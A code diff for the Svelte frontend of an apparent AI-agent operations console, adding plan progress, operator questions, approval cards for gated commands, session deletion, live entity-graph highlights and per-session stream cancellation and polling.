import { answerQuestion as postAnswer } from '$lib/api'
import { Button } from '$lib/components/ui/button'
import { Textarea } from '$lib/components/ui/textarea'
import CircleHelpIcon from '@lucide/svelte/icons/circle-help'
let freeText = $state('')
let submitting = $state(false)
async function submit(answer: string) {
const sid = $currentSession
const q = $openQuestion
if (!sid || !q || !answer.trim() || submitting) return
submitting = true
const ok = await postAnswer(sid, q.id, answer.trim())
submitting = false
if (ok) freeText = ''
// No local optimistic clear: the question.answered event (which the POST
// triggers server-side) updates the store — this stays truthful if the
// POST reports ok but the event is somehow delayed.
}
</script>
{#if $openQuestion}
{@const q = $openQuestion}
<div class="flex shrink-0 flex-col gap-2 border-b bg-warning/5 px-3 py-2.5">
<div class="flex items-start gap-2">
<CircleHelpIcon class="mt-0.5 size-4 shrink-0 text-warning" />
<div class="min-w-0 flex-1">
<p class="text-sm font-medium leading-snug">{q.prompt}</p>
{#if q.context.why}
<p class="mt-0.5 text-xs text-muted-foreground">{q.context.why}</p>
{/if}
</div>
</div>
{#if q.context.entities?.length}
<div class="ml-6 flex flex-wrap gap-1">
{#each q.context.entities as slug}
<span class="rounded bg-muted px-1.5 py-0.5 font-mono text-[10px]">{slug}</span>
{/each}
</div>
{/if}
{#if q.context.options?.length}
<div class="ml-6 flex flex-wrap gap-1.5">
{#each q.context.options as opt}
<Button size="sm" variant="outline" class="h-7 px-2.5 text-xs" disabled={submitting} onclick={() => submit(opt)}>
{opt}
</Button>
{/each}
</div>
{/if}
<div class="ml-6 flex items-end gap-1.5">
<Textarea
bind:value={freeText}
placeholder="Or type an answer…"
rows={1}
class="max-h-24 min-h-0 resize-none text-xs"
disabled={submitting}
onkeydown={(e) => {
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault()
submit(freeText)
}
}}
/>
<Button size="sm" class="h-7 px-2.5 text-xs" disabled={!freeText.trim() || submitting} onclick={() => submit(freeText)}>
Send
</Button>
</div>
</div>
{/if}

View File

@@ -0,0 +1,77 @@
<script lang="ts">
import { planSteps } from '$lib/stores/workspace'
import EntitySheet from '$lib/components/EntitySheet.svelte'
import CircleIcon from '@lucide/svelte/icons/circle'
import LoaderCircleIcon from '@lucide/svelte/icons/loader-circle'
import CircleCheckIcon from '@lucide/svelte/icons/circle-check'
import CircleXIcon from '@lucide/svelte/icons/circle-x'
import CircleSlashIcon from '@lucide/svelte/icons/circle-slash'
import CirclePauseIcon from '@lucide/svelte/icons/circle-pause'
const done = $derived($planSteps.filter((s) => s.status === 'done').length)
const total = $derived($planSteps.length)
const pct = $derived(total > 0 ? Math.round((done / total) * 100) : 0)
let sheetSlug = $state<string | null>(null)
let sheetOpen = $state(false)
// Tool calls don't carry a step id, so a step can't be linked to its exact
// transcript entry — but its target entity IS known, and EntitySheet already
// gives a real, working detail view for any slug. Clicking a step with a
// target opens that, rather than a fake "scroll to it" that would silently
// no-op for a collapsed tool-call group.
function openStep(targetSlug: string | undefined) {
if (!targetSlug) return
sheetSlug = targetSlug
sheetOpen = true
}
</script>
{#if total > 0}
<div class="flex shrink-0 flex-col gap-2 border-b px-3 py-2.5">
<div class="flex items-center justify-between text-[11px] text-muted-foreground">
<span class="font-semibold uppercase tracking-wider">Plan</span>
<span>{done}/{total}</span>
</div>
<div class="h-1 w-full overflow-hidden rounded-full bg-muted">
<div class="h-full rounded-full bg-primary transition-all duration-500" style="width: {pct}%"></div>
</div>
<ol class="flex flex-col gap-1">
{#each $planSteps as step (step.id)}
<li>
<button
type="button"
class="flex w-full items-start gap-2 rounded px-1 py-1 text-left text-xs {step.target_slug ? 'hover:bg-muted/50' : 'cursor-default'}"
onclick={() => openStep(step.target_slug)}
>
<span class="mt-0.5 shrink-0">
{#if step.status === 'done'}
<CircleCheckIcon class="size-3.5 text-success" />
{:else if step.status === 'failed'}
<CircleXIcon class="size-3.5 text-destructive" />
{:else if step.status === 'running'}
<LoaderCircleIcon class="size-3.5 animate-spin text-primary" />
{:else if step.status === 'skipped'}
<CircleSlashIcon class="size-3.5 text-muted-foreground" />
{:else if step.status === 'blocked'}
<CirclePauseIcon class="size-3.5 text-warning" />
{:else}
<CircleIcon class="size-3.5 text-muted-foreground" />
{/if}
</span>
<span class="min-w-0 flex-1">
<span class="block leading-snug {step.status === 'done' ? 'text-muted-foreground line-through decoration-muted-foreground/40' : ''}">
{step.title}
</span>
{#if step.target_slug}
<span class="font-mono text-[10px] text-muted-foreground">{step.target_slug}</span>
{/if}
</span>
</button>
</li>
{/each}
</ol>
</div>
{/if}
<EntitySheet slug={sheetSlug} bind:open={sheetOpen} />

View File

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<script lang="ts">
import { fetchSessionDigest, type SessionDigest } from '$lib/api'
import { currentSession, streaming } from '$lib/stores/chat'
import { currentTask } from '$lib/stores/workspace'
import { Badge } from '$lib/components/ui/badge'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
import SparklesIcon from '@lucide/svelte/icons/sparkles'
import CircleCheckIcon from '@lucide/svelte/icons/circle-check'
import CircleXIcon from '@lucide/svelte/icons/circle-x'
let digest = $state<SessionDigest | null>(null)
let open = $state(false)
// Keyed on session id AND status: a task that completes mid-view (via
// resumeSession running server-side, with $streaming never true here) must
// still refetch once outcome/summary land, not just on session switch.
let loadedKey = $state<string | null>(null)
// Reload the digest whenever the session changes, the task's status changes
// (e.g. it just completed), or a stream finishes — "what did this session
// actually do" is only meaningful once executions have had a chance to land.
$effect(() => {
const sid = $currentSession
const busy = $streaming
const status = $currentTask?.status ?? ''
if (!sid || busy) return
const key = `${sid}:${status}`
if (loadedKey === key) return
loadedKey = key
fetchSessionDigest(sid).then((d) => (digest = d))
})
function statusVariant(status: string): 'default' | 'secondary' | 'destructive' | 'outline' {
if (['failed', 'denied', 'revoked', 'cancelled'].includes(status)) return 'destructive'
if (status === 'completed') return 'default'
if (['running', 'approved'].includes(status)) return 'secondary'
return 'outline'
}
</script>
{#if $currentTask?.outcome}
<div
class="flex items-start gap-2 border-b px-3 py-2 text-xs {$currentTask.outcome === 'failure'
? 'bg-destructive/5 text-destructive'
: $currentTask.outcome === 'partial'
? 'bg-warning/5 text-warning'
: 'bg-success/5 text-success'}"
>
{#if $currentTask.outcome === 'failure'}
<CircleXIcon class="mt-0.5 size-3.5 shrink-0" />
{:else}
<CircleCheckIcon class="mt-0.5 size-3.5 shrink-0" />
{/if}
<span class="leading-snug">{$currentTask.summary || `Task ${$currentTask.outcome}.`}</span>
</div>
{/if}
{#if digest && digest.total_executions > 0}
<div class="border-b">
<button
type="button"
class="flex w-full items-center justify-between gap-2 px-3 py-2 text-left text-xs font-medium hover:bg-muted/50"
onclick={() => (open = !open)}
>
<span class="flex items-center gap-1.5">
{#if open}<ChevronDownIcon class="size-3.5" />{:else}<ChevronRightIcon class="size-3.5" />{/if}
This session
</span>
<span class="flex items-center gap-1.5 text-muted-foreground">
{digest.total_executions} action{digest.total_executions === 1 ? '' : 's'}
{#if digest.knowledge_created.length}
<span class="flex items-center gap-0.5 text-primary">
<SparklesIcon class="size-3" />{digest.knowledge_created.length}
</span>
{/if}
</span>
</button>
{#if open}
<div class="flex flex-col gap-3 px-3 pb-3 text-xs">
<div class="flex flex-wrap gap-1">
{#each Object.entries(digest.by_status) as [status, count]}
<Badge variant={statusVariant(status)}>{status} × {count}</Badge>
{/each}
</div>
{#if digest.entities_touched.length}
<div>
<div class="mb-1 text-muted-foreground">Entities touched</div>
<div class="flex flex-wrap gap-1">
{#each digest.entities_touched as target}
<span class="rounded bg-muted px-1.5 py-0.5 font-mono text-[11px]">{target}</span>
{/each}
</div>
</div>
{/if}
<div class="flex flex-col gap-1">
{#each digest.executions as ex}
<div class="flex items-start justify-between gap-2 rounded border px-2 py-1">
<div class="min-w-0">
<div class="font-mono text-[11px] text-muted-foreground">{ex.target}</div>
<div class="truncate">{ex.summary || ex.verb}</div>
</div>
<Badge variant={statusVariant(ex.status)} class="shrink-0">{ex.status}</Badge>
</div>
{/each}
</div>
{#if digest.knowledge_created.length}
<div>
<div class="mb-1 flex items-center gap-1 text-primary">
<SparklesIcon class="size-3" />Learned this session
</div>
<ul class="list-inside list-disc">
{#each digest.knowledge_created as title}
<li>{title}</li>
{/each}
</ul>
</div>
{/if}
</div>
{/if}
</div>
{/if}

View File

@@ -12,6 +12,7 @@
} from 'd3-force'
import { fetchGraph, type Entity } from '$lib/api'
import { messages } from '$lib/stores/chat'
import { touched, healthDiffs } from '$lib/stores/workspace'
import { relativeTime } from '$lib/utils'
import { Badge } from '$lib/components/ui/badge'
import { Button } from '$lib/components/ui/button'
@@ -226,6 +227,21 @@
return slug.split(':').pop() ?? slug
}
// Live touch/health-diff lookups, keyed by slug for O(1) per-node checks
// during render. Kept as plain objects (not Maps) since Svelte 5 runes track
// object identity fine and this is small (≤12 touched, ≤8 diffs).
const touchedBySlug = $derived.by(() => {
const m: Record<string, true> = {}
for (const t of $touched) m[t.slug] = true
return m
})
const diffBySlug = $derived.by(() => {
const m: Record<string, { from: string; to: string }> = {}
for (const d of $healthDiffs) if (!(d.slug in m)) m[d.slug] = d
return m
})
const nowTouching = $derived($touched[0] ?? null)
function endpoint(end: string | Node): Node | undefined {
return typeof end === 'object' ? end : nodes.find((n) => n.slug === end)
}
@@ -290,6 +306,12 @@
<span class="text-[11px] text-muted-foreground">{nodes.length} {nodes.length === 1 ? 'entity' : 'entities'}</span>
{/if}
</div>
{#if nowTouching}
<div class="flex shrink-0 items-center gap-1.5 border-b bg-primary/5 px-3 py-1.5 text-[11px] text-primary">
<span class="size-1.5 animate-pulse rounded-full bg-primary"></span>
Now touching <code class="font-mono">{nowTouching.slug}</code>
</div>
{/if}
<div bind:this={container} class="relative min-h-0 flex-1 overflow-hidden">
{#if nodes.length === 0}
@@ -353,6 +375,8 @@
{@const r = nodeRadius(node)}
{@const isSel = selected?.slug === node.slug}
{@const dim = selected && !isSel && !selectedRelations.some((rel) => rel.other === node.slug)}
{@const isTouched = node.slug in touchedBySlug}
{@const diff = diffBySlug[node.slug]}
<g
transform="translate({node.x},{node.y})"
class="cursor-pointer"
@@ -365,6 +389,12 @@
{#if isSel}
<circle r={r + 5} fill={nodeColor(node)} opacity="0.25" />
{/if}
{#if isTouched}
<circle r={r + 4} fill="none" stroke="var(--primary)" stroke-width="1.5" opacity="0.8">
<animate attributeName="r" values="{r + 3};{r + 8};{r + 3}" dur="1.6s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.8;0.1;0.8" dur="1.6s" repeatCount="indefinite" />
</circle>
{/if}
<circle r={r} fill={nodeColor(node)} stroke={isSel ? 'var(--foreground)' : 'var(--background)'} stroke-width={isSel ? 2 : 1.5} />
<text
y={r + 10}
@@ -378,6 +408,20 @@
>
{shortName(node.slug)}
</text>
{#if diff}
<text
y={-r - 6}
text-anchor="middle"
font-size="8"
fill="var(--warning)"
paint-order="stroke"
stroke="var(--background)"
stroke-width="2.5"
class="pointer-events-none"
>
{diff.from}{diff.to}
</text>
{/if}
</g>
{/if}
{/each}

View File

@@ -1,20 +1,39 @@
<script lang="ts">
import { onMount } from 'svelte'
import { sessions, currentSession, loadSessions, loadSessionMessages, newChat } from '$lib/stores/chat'
import { sessions, currentSession, loadSessions, loadSessionMessages, newChat, deleteSession } from '$lib/stores/chat'
import { relativeTime } from '$lib/utils'
import { Button } from '$lib/components/ui/button'
import { ScrollArea } from '$lib/components/ui/scroll-area'
import PlusIcon from '@lucide/svelte/icons/plus'
import Trash2Icon from '@lucide/svelte/icons/trash-2'
onMount(() => {
loadSessions()
})
// Pick up sessions created/renamed elsewhere (e.g. after a turn completes).
$effect(() => {
void $currentSession
loadSessions()
})
let confirmDelete = $state<string | null>(null)
function handleDelete(e: MouseEvent, id: string) {
e.stopPropagation()
if (confirmDelete === id) {
deleteSession(id)
confirmDelete = null
} else {
confirmDelete = id
// Hide confirmation after 3s
setTimeout(() => { if (confirmDelete === id) confirmDelete = null }, 3000)
}
}
function handleClick(sessionId: string) {
confirmDelete = null
loadSessionMessages(sessionId)
}
</script>
<aside class="flex h-full w-56 shrink-0 flex-col gap-2 overflow-y-auto border-r bg-card/50 p-2">
@@ -25,14 +44,29 @@
<ScrollArea class="min-h-0 flex-1">
<div class="flex flex-col gap-1 pr-2">
{#each $sessions as session (session.id)}
<div class="group relative">
<button
type="button"
class="flex flex-col items-start gap-0.5 rounded-md border px-2 py-1.5 text-left text-xs transition-colors hover:bg-muted/60 {$currentSession === session.id ? 'border-primary bg-muted/50' : 'border-transparent'}"
onclick={() => loadSessionMessages(session.id)}
class="flex w-full flex-col items-start gap-0.5 rounded-md border py-1.5 pl-2 pr-7 text-left text-xs transition-colors hover:bg-muted/60 {$currentSession === session.id ? 'border-primary bg-muted/50' : 'border-transparent'}"
onclick={() => handleClick(session.id)}
>
<span class="w-full truncate font-medium">{session.title || 'Untitled'}</span>
<span class="min-w-0 max-w-full truncate font-medium">{session.title || 'Untitled'}</span>
<span class="text-[11px] text-muted-foreground">{relativeTime(session.last_active_at)}</span>
</button>
<button
type="button"
class="absolute right-1 top-1.5 shrink-0 rounded p-0.5 opacity-0 transition-opacity group-hover:opacity-100 focus-visible:opacity-100 hover:bg-destructive/20 hover:text-destructive"
onclick={(e) => handleDelete(e, session.id)}
aria-label={confirmDelete === session.id ? 'Click again to confirm delete' : 'Delete session'}
title={confirmDelete === session.id ? 'Click again to confirm delete' : 'Delete session'}
>
{#if confirmDelete === session.id}
<span class="text-[10px] font-semibold text-destructive">Sure?</span>
{:else}
<Trash2Icon class="size-3" />
{/if}
</button>
</div>
{:else}
<p class="px-2 py-4 text-center text-xs text-muted-foreground">No sessions yet.</p>
{/each}

View File

@@ -0,0 +1,29 @@
<script lang="ts">
import { onMount } from 'svelte'
import { startWorkspace } from '$lib/stores/workspace'
import GoalHeader from './GoalHeader.svelte'
import PlanProgress from './PlanProgress.svelte'
import OperatorQuestion from './OperatorQuestion.svelte'
import SessionGraph from './SessionGraph.svelte'
import SessionDigest from './SessionDigest.svelte'
onMount(() => startWorkspace())
</script>
<!--
The task's live control panel: goal + status, plan progress, a pinned
question when the agent needs a decision, the live entity graph (pulses what
the agent is touching, flags health changes), and the outcome/knowledge
record once the task completes. Driven by the always-on events stream
(see workspace.ts) so it keeps updating during server-side auto-continuation,
not just while a chat turn is streaming.
-->
<div class="flex h-full min-h-0 flex-col">
<GoalHeader />
<PlanProgress />
<OperatorQuestion />
<div class="min-h-0 flex-1">
<SessionGraph />
</div>
<SessionDigest />
</div>

View File

@@ -1,22 +1,22 @@
<script lang="ts">
import type { ToolCallResult } from '$lib/stores/chat'
import * as Collapsible from '$lib/components/ui/collapsible'
import WrenchIcon from '@lucide/svelte/icons/wrench'
import CheckIcon from '@lucide/svelte/icons/check'
import XIcon from '@lucide/svelte/icons/x'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import LoaderCircleIcon from '@lucide/svelte/icons/loader-circle'
// active = this message is the one currently streaming a round of tool
// calls. The group starts open while active (so progress is visible live)
// and auto-collapses the moment that round finishes; a loaded/historical
// message is never active, so it starts collapsed. Once the effect below
// fires the one-time auto-collapse, manual toggles are left alone.
let { tools, active = false }: { tools: ToolCallResult[]; active?: boolean } = $props()
let open = $state(active)
let wasActive = active
let open = $state(false)
let wasActive = $state(active)
$effect(() => {
if (wasActive && !active) {
if (active && !wasActive) {
open = true
}
if (!active && wasActive) {
open = false
}
wasActive = active
@@ -24,9 +24,18 @@
const doneCount = $derived(tools.filter((t) => t.type === 'tool_result').length)
const hasError = $derived(tools.some((t) => t.type === 'tool_result' && t.error))
const inProgress = $derived(active && doneCount < tools.length)
const names = $derived(tools.map((t) => t.name).join(', '))
const runningTool = $derived(
active ? tools.find((t) => t.type === 'tool_use') : undefined
)
const ariaLabel = $derived(
doneCount === tools.length
? `${tools.length} ${tools.length === 1 ? 'tool' : 'tools'} completed`
: `${doneCount}/${tools.length} ${tools.length === 1 ? 'tool' : 'tools'} done`
)
function toolSummary(args: unknown): string {
if (!args || typeof args !== 'object') return ''
return Object.entries(args as Record<string, unknown>)
@@ -37,19 +46,38 @@
</script>
{#if tools.length}
<details bind:open class="group w-fit max-w-full overflow-hidden rounded-lg border bg-card text-xs">
<summary class="flex cursor-pointer select-none items-center gap-2 px-2.5 py-1.5 hover:bg-muted/50 [&::-webkit-details-marker]:hidden">
{#if inProgress}
<WrenchIcon class="size-3 shrink-0 animate-pulse text-primary" />
<Collapsible.Root bind:open class="group w-fit max-w-full overflow-hidden rounded-lg border bg-card text-xs">
<Collapsible.Trigger class="flex w-full cursor-pointer select-none items-center gap-2 px-2.5 py-1.5 hover:bg-muted/50">
{#if active && doneCount < tools.length}
<LoaderCircleIcon class="size-3 shrink-0 animate-spin text-primary" />
{:else if hasError}
<XIcon class="size-3 shrink-0 text-destructive" />
{:else}
<CheckIcon class="size-3 shrink-0 text-success" />
{/if}
{#if active && doneCount < tools.length}
<span class="font-medium">{doneCount}/{tools.length}</span>
{#if runningTool}
<span class="max-w-48 truncate font-mono text-muted-foreground">
{runningTool.name}
<span class="animate-pulse"></span>
</span>
{:else}
<span class="animate-pulse text-muted-foreground">working…</span>
{/if}
{:else}
<span class="font-medium">{tools.length} tool{tools.length === 1 ? '' : 's'}</span>
<span class="max-w-64 truncate font-mono text-muted-foreground">{names}</span>
<ChevronDownIcon class="size-3 shrink-0 text-muted-foreground transition-transform group-open:rotate-180" />
</summary>
<span class="max-w-48 truncate font-mono text-muted-foreground">{names}</span>
{/if}
<ChevronDownIcon
class="size-3 shrink-0 text-muted-foreground transition-transform duration-200 {open ? 'rotate-180' : ''}"
aria-hidden="true"
/>
</Collapsible.Trigger>
<Collapsible.Content class="overflow-hidden transition-all duration-200 ease-out data-[state=closed]:animate-out data-[state=closed]:fade-out data-[state=closed]:slide-out-to-top-2 data-[state=open]:animate-in data-[state=open]:fade-in data-[state=open]:slide-in-from-top-2">
<div class="flex flex-col divide-y border-t">
{#each tools as tool (tool.id)}
<div class="p-2">
@@ -59,7 +87,7 @@
{:else if tool.type === 'tool_result'}
<CheckIcon class="size-3 shrink-0 text-success" />
{:else}
<WrenchIcon class="size-3 shrink-0 animate-pulse text-primary" />
<LoaderCircleIcon class="size-3 shrink-0 animate-spin text-primary" />
{/if}
<span class="font-mono font-medium">{tool.name}</span>
<span class="max-w-64 truncate text-muted-foreground">{toolSummary(tool.args)}</span>
@@ -75,5 +103,6 @@
</div>
{/each}
</div>
</details>
</Collapsible.Content>
</Collapsible.Root>
{/if}

View File

@@ -1,12 +1,54 @@
import { writable, get } from 'svelte/store'
import { streamChat, fetchSessions, fetchMessages } from '$lib/api'
import { streamChat, fetchSessions, fetchMessages, deleteSession as apiDeleteSession } from '$lib/api'
import type { ChatEvent, Session, Message } from '$lib/api'
export interface PendingApproval {
executionId: string
action: string
target: string
destructive: boolean
command?: string
purpose?: string
}
export interface ChatMessage {
id: string
role: 'user' | 'assistant'
text: string
tools: ToolCallResult[]
pendingApprovals: PendingApproval[]
}
const APPROVAL_RE = /execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/i
// Deliberately NOT filtered by tool name. There is no fixed set of gated
// tools — `run` can execute anything, and any future tool that queues an
// approval should surface a card the same way. A prior version hardcoded
// `t.name === 'request_execution'`, so approvals raised by the newer `run`
// tool were silently invisible in chat: no card, no feedback, nothing to
// self-heal, forcing the operator to the Ops page with zero acknowledgement
// back in the conversation. Matching on the response shape (not the tool
// name) is what makes this robust to new gated tools without another
// silent breakage.
function extractApprovals(tools: ToolCallResult[]): PendingApproval[] {
const out: PendingApproval[] = []
for (const t of tools) {
if (t.type !== 'tool_result') continue
const text = typeof t.result === 'string' ? t.result : JSON.stringify(t.result ?? '')
if (!text.includes('requires approval')) continue
const m = text.match(APPROVAL_RE)
if (m) {
out.push({
executionId: m[1],
action: t.args?.action ?? t.args?.purpose ?? t.name ?? 'unknown',
target: t.args?.target ?? 'unknown',
destructive: /\bDESTRUCTIVE\b/.test(text),
command: t.args?.command,
purpose: t.args?.purpose
})
}
}
return out
}
export interface ToolCallResult {
@@ -29,7 +71,18 @@ export const sessions = writable<Session[]>([])
export const sessionMessages = writable<Message[]>([])
export const error = writable<string | null>(null)
let activeController: AbortController | null = null
// Per-session controller tracking. Multiple tasks can stream concurrently
// (see sendMessage's session guard above this used to be a single global
// `activeController`, which meant cancelStream()/newChat() always aborted
// whichever stream happened to be the MOST RECENTLY started one, regardless
// of what the operator was currently viewing — starting Task A, switching to
// (already-loaded) Task B, then clicking "New task" would silently abort
// Task A's still-running turn even though the operator was never looking at
// it and never asked to cancel it. Keyed by session id once known;
// pendingController covers the brief window for a brand-new task between
// streamChat() starting and its 'session' event assigning a real id.
const activeControllers = new Map<string, AbortController>()
let pendingController: AbortController | null = null
export async function loadSessions() {
const list = await fetchSessions()
@@ -53,17 +106,75 @@ function mergeToolCalls(raw: ToolCallResult[] | undefined): ToolCallResult[] {
return Array.from(byId.values())
}
export async function loadSessionMessages(sessionId: string) {
currentSession.set(sessionId)
const msgs = await fetchMessages(sessionId)
sessionMessages.set(msgs)
const chatMsgs: ChatMessage[] = msgs.map((m) => ({
function toChatMessages(msgs: Message[]): ChatMessage[] {
return msgs.map((m) => {
const tools = mergeToolCalls(m.content?.tool_calls)
return {
id: m.id,
role: m.role as 'user' | 'assistant',
text: m.content?.text ?? (typeof m.content === 'string' ? m.content : ''),
tools: mergeToolCalls(m.content?.tool_calls)
}))
messages.set(chatMsgs)
tools,
pendingApprovals: extractApprovals(tools)
}
})
}
export async function loadSessionMessages(sessionId: string) {
currentSession.set(sessionId)
// This is a fresh view of sessionId's current (REST-loaded) state — reset
// streaming regardless of whether some OTHER task's stream happens to still
// be in flight in the background. Without this, switching to a task while
// a different one is mid-turn could leave `streaming` stuck true here (that
// other stream's completion callback now correctly skips touching it, per
// sendMessage's session guard) — which would disable the input AND silently
// stop startPolling's loop from ever applying updates (it bails while
// $streaming is true), making the newly-opened task look frozen.
streaming.set(false)
const msgs = await fetchMessages(sessionId)
sessionMessages.set(msgs)
messages.set(toChatMessages(msgs))
startPolling(sessionId)
}
// Live visibility for autonomous work: the auto-continuation worker (see
// cmd/nomos/continue.go) runs entirely server-side and has no live push —
// previously the only way to see its result was to manually reload the
// session, so approving a plan and then waiting felt like nothing was
// happening even while the agent was actively working. This polls the
// session's persisted messages every few seconds and merges in anything new
// (an auto-continuation's result, a fresh pending approval it queued, etc.)
// so the transcript updates on its own. Only runs between turns — never
// while a live streaming turn owns the message list, to avoid clobbering the
// in-progress optimistic UI.
let pollTimer: ReturnType<typeof setInterval> | null = null
let pollingSessionId: string | null = null
function startPolling(sessionId: string) {
stopPolling()
pollingSessionId = sessionId
pollTimer = setInterval(async () => {
if (get(streaming)) return
if (pollingSessionId !== sessionId || get(currentSession) !== sessionId) return
const msgs = await fetchMessages(sessionId)
if (get(streaming) || pollingSessionId !== sessionId) return // re-check: the fetch itself takes time
// No cheap "anything new?" check: the auto-continuation worker updates a
// placeholder message IN PLACE as each tool call lands (see
// cmd/nomos/continue.go), so the message COUNT stays the same while the
// content changes — a length-only diff (the previous version of this
// code) never detected those updates and progress looked frozen even
// though the backend was actively working. Just re-set every tick;
// Svelte's own diffing keeps the actual re-render cheap.
sessionMessages.set(msgs)
messages.set(toChatMessages(msgs))
}, 3000)
}
export function stopPolling() {
if (pollTimer) {
clearInterval(pollTimer)
pollTimer = null
}
pollingSessionId = null
}
export function sendMessage(text: string) {
@@ -74,7 +185,8 @@ export function sendMessage(text: string) {
id: mid(),
role: 'user',
text,
tools: []
tools: [],
pendingApprovals: []
}
messages.update((ms) => [...ms, userMsg])
@@ -82,19 +194,53 @@ export function sendMessage(text: string) {
id: mid(),
role: 'assistant',
text: '',
tools: []
tools: [],
pendingApprovals: []
}
messages.update((ms) => [...ms, assistantMsg])
let activeTools: Map<string, ToolCallResult> = new Map()
activeController = streamChat(
// Multiple tasks can stream concurrently (the backend runs each turn as its
// own goroutine — nothing serializes them), but `messages`/`currentSession`
// are a single global view. Without this guard, switching to a different
// task while this stream is still open lets its later events (tool_use,
// text_delta, ..., and worst of all the 'done' handler's
// currentSession.set) get applied to whatever the operator is NOW looking
// at — silently corrupting another task's transcript, or yanking the view
// back to this one. openedFor is the session this call started for (null
// for a brand-new task, until the 'session' event assigns the real id);
// every branch below checks the CURRENT $currentSession still matches
// before touching `messages`. The task itself keeps running server-side
// regardless — dropped events just mean the live view isn't watching it;
// navigating back re-hydrates via REST/poll same as it already does for
// auto-continuation.
const openedFor = get(currentSession)
let streamSessionID = openedFor
const controller = streamChat(
text,
get(currentSession), // continue the active session so the agent keeps context
(ev: ChatEvent) => {
if (ev.type === 'session') {
currentSession.set(ev.data)
} else if (ev.type === 'tool_use') {
streamSessionID = ev.data
// Move this stream's controller into the per-session map now that its
// real id is known, so a later cancelStream()/newChat() from THIS
// session's view can find and abort it — and, just as importantly,
// so cancelling/leaving a DIFFERENT session never reaches this one.
// For a continued (non-new) session, openedFor already equals ev.data
// and the controller was stored under that key at creation below;
// this only does real work for a brand-new task's first assignment.
if (pendingController === controller) pendingController = null
activeControllers.set(ev.data, controller)
// Only claim currentSession if the operator hasn't already navigated
// to something else since this call started (openedFor covers both
// "still on the task I was on" and "still hadn't opened one yet").
if (get(currentSession) === openedFor) currentSession.set(ev.data)
return
}
if (get(currentSession) !== streamSessionID) return // stream's task isn't the one on screen — drop
if (ev.type === 'tool_use') {
const tr: ToolCallResult = {
type: 'tool_use',
name: ev.data.name,
@@ -147,33 +293,87 @@ export function sendMessage(text: string) {
return [...ms]
})
} else if (ev.type === 'done') {
currentSession.set(ev.data?.session_id ?? ev.session_id)
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.pendingApprovals = extractApprovals(last.tools)
}
return [...ms]
})
const sid = ev.data?.session_id ?? ev.session_id
// Start polling for auto-continuation results now that the live turn
// is over — this is what makes an approved plan's later steps show up
// on their own instead of requiring a manual reload. (startPolling's
// own loop already re-checks $currentSession before applying results,
// so this is safe to call even if the operator has since navigated
// elsewhere — it just won't visibly do anything until/unless they
// come back.)
if (sid) startPolling(sid)
} else if (ev.type === 'error') {
error.set(ev.data)
}
},
(err: string) => {
error.set(err)
if (get(currentSession) === streamSessionID) error.set(err)
},
() => {
streaming.set(false)
activeController = null
if (get(currentSession) === streamSessionID) streaming.set(false)
// Clean up whichever slot this controller ended up in — normally
// activeControllers[streamSessionID] once the 'session' event has
// fired, but fall back to pendingController for the (rare) case where
// the stream errored/completed before ever getting one.
if (streamSessionID && activeControllers.get(streamSessionID) === controller) {
activeControllers.delete(streamSessionID)
}
if (pendingController === controller) pendingController = null
loadSessions()
}
)
// Register immediately (not just inside the 'session' handler above) so a
// cancelStream() during the brief pre-'session' window for a CONTINUED
// session (openedFor already known) can find it right away.
if (openedFor) {
activeControllers.set(openedFor, controller)
} else {
pendingController = controller
}
}
export function newChat() {
cancelStream()
stopPolling()
currentSession.set(null)
messages.set([])
error.set(null)
streaming.set(false) // fresh view — see loadSessionMessages for why this must not depend on cancelStream's own reset
}
// Cancels the stream for whatever the operator is CURRENTLY VIEWING — never
// some other, unrelated task's background stream. Before per-session
// tracking, this aborted a single global `activeController`, which meant it
// always targeted the MOST RECENTLY STARTED stream regardless of what was on
// screen: start Task A, switch to already-loaded Task B, click "New task" —
// newChat()'s cancelStream() would silently abort Task A's still-running
// turn, even though the operator was never looking at it and never asked to
// cancel it. Now it looks up by $currentSession (or pendingController for
// the brief pre-'session'-event window of a just-started new task) so it can
// only ever touch the stream that belongs to the view being left.
export function cancelStream() {
if (activeController) {
activeController.abort()
activeController = null
const sid = get(currentSession)
const controller = sid ? activeControllers.get(sid) : pendingController
if (!controller) return
controller.abort()
if (sid) activeControllers.delete(sid)
if (pendingController === controller) pendingController = null
streaming.set(false)
}
export async function deleteSession(sessionId: string) {
const ok = await apiDeleteSession(sessionId)
if (!ok) return
if (get(currentSession) === sessionId) {
newChat()
}
loadSessions()
}

View File

@@ -0,0 +1,204 @@
import { writable, derived, get } from 'svelte/store'
import { liveEvents, subscribeEvents } from './events'
import { currentSession, sessions, loadSessions } from './chat'
import { fetchPlan, fetchQuestions, type PlanStep, type SessionQuestion } from '$lib/api'
// workspace.ts is the live "what is this task doing right now" surface for the
// TaskContextPanel: plan progress, the pinned operator question, and entities
// the agent is touching or whose health just changed. It is deliberately driven
// by the ALWAYS-ON global events stream (subscribeEvents), not the per-turn
// chat SSE — the auto-continuation worker and resumeSession run entirely
// server-side with no chat turn open, so a chat-bound panel would go stale
// exactly when the agent is working autonomously. This also means the panel
// keeps updating across a tab reload: hydrate() re-fetches REST state, then
// live events carry deltas from there.
export const planSteps = writable<PlanStep[]>([])
export const questions = writable<SessionQuestion[]>([])
export const openQuestion = derived(questions, (qs) => qs.find((q) => q.status === 'open') ?? null)
export interface TouchedEntity {
slug: string
tool: string
ts: number
}
export const touched = writable<TouchedEntity[]>([])
const TOUCHED_MAX = 12
const TOUCHED_PULSE_MS = 6000
export interface HealthDiff {
slug: string
from: string
to: string
ts: number
}
export const healthDiffs = writable<HealthDiff[]>([])
const HEALTH_DIFF_MS = 8000
// The task's own fields (goal/status/outcome/summary) live on the session row.
// Rather than a dedicated endpoint, derive from the sessions list (already
// fetched for the task board) and keep it fresh here on task-lifecycle events.
export const currentTask = derived([sessions, currentSession], ([$sessions, $id]) =>
$sessions.find((s) => s.id === $id) ?? null
)
// Events that can change agent_sessions.status/goal/outcome — see applyEvent.
const STATUS_AFFECTING = new Set([
'goal.set', 'task.status', 'plan.proposed', 'question.raised', 'question.answered'
])
let hydratedFor: string | null = null
let unsubStream: (() => void) | null = null
